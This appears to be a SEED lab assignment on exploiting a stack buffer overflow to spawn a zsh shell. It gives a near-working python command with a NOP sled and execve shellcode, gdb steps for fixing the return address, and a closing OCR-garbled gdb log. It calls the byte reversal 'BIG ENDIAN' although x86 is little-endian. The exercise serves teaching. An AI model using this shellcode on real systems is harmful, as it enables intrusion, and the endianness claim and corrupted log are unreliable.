(Using SEEDUbuntu12.04)

The attack in this case is using the program to get to the shell, which in this case runs at /bin/zsh, which is another shell type different from bash. Below is a trial which doesnt work but very close to working, and your objective is to do minor changes with the addresses to make it work. run $(python -c 'print "x90" * 426 + "x31xc0x83xecx01x88x04x24x68x2fx7ax73x68x2fx62x69x6ex68x2fx75x73x72x89xe6x50x56xb0x0bx89xf3x89xe1x31xd2xcdx80xb0x01x31xdbxcdx80" + "x51x51x51x51" * 10')

The long code is the hex decimal version of running /bin/zsh. Hex value 90 in assembly is called NOP (No Operation) and used for padding, which is very useful in this attack. Why is it useful?

Check the stack and see the value of EBP & EIP. Remember the objective is to overwrite the content of EBP and return address to point to the address of the shell, which is now in your buffer. Examine the memory to see the addresses and their contents. (gdb) x/200x ($esp - 550)

The value in EBP should be the address in the stack in the middle of all the NOP so that it runs through the NOP and then hits the code for the exploit to give you the zsh shell. Note that you must change the address to BIG ENDIAN format (reverse the order of the bytes). Why do you have to change it to BIG ENDIAN?

If you can successfully run the exploit you will get the zsh shell prompt. From the shell run the following commands and take a screenshot to show the exploit did run. whoami pwd

Draw the content of the stack to show the exploit and explain how it was able to run successfully.

Starting program: /hone/seed/vuln $(python -c 'print "x90" 426 "Ix31 xco x8 3\xec x01 x88\x04 x241x68 x2f x7a\x731x68 x2f x62 x69|x6e x68 x2f|x75 x73|x72|x8 "Ix51 x51|x511x51" 10') t k prons a515ec t ed slgnal srGSEGV, Segnenaton faut. 0x51515151 in ?? () Starting program: /hone/seed/vuln $(python -c 'print "x90" 426 "Ix31 xco x8 3\xec x01 x88\x04 x241x68 x2f x7a\x731x68 x2f x62 x69|x6e x68 x2f|x75 x73|x72|x8 "Ix51 x51|x511x51" 10') t k prons a515ec t ed slgnal srGSEGV, Segnenaton faut. 0x51515151 in ?? ()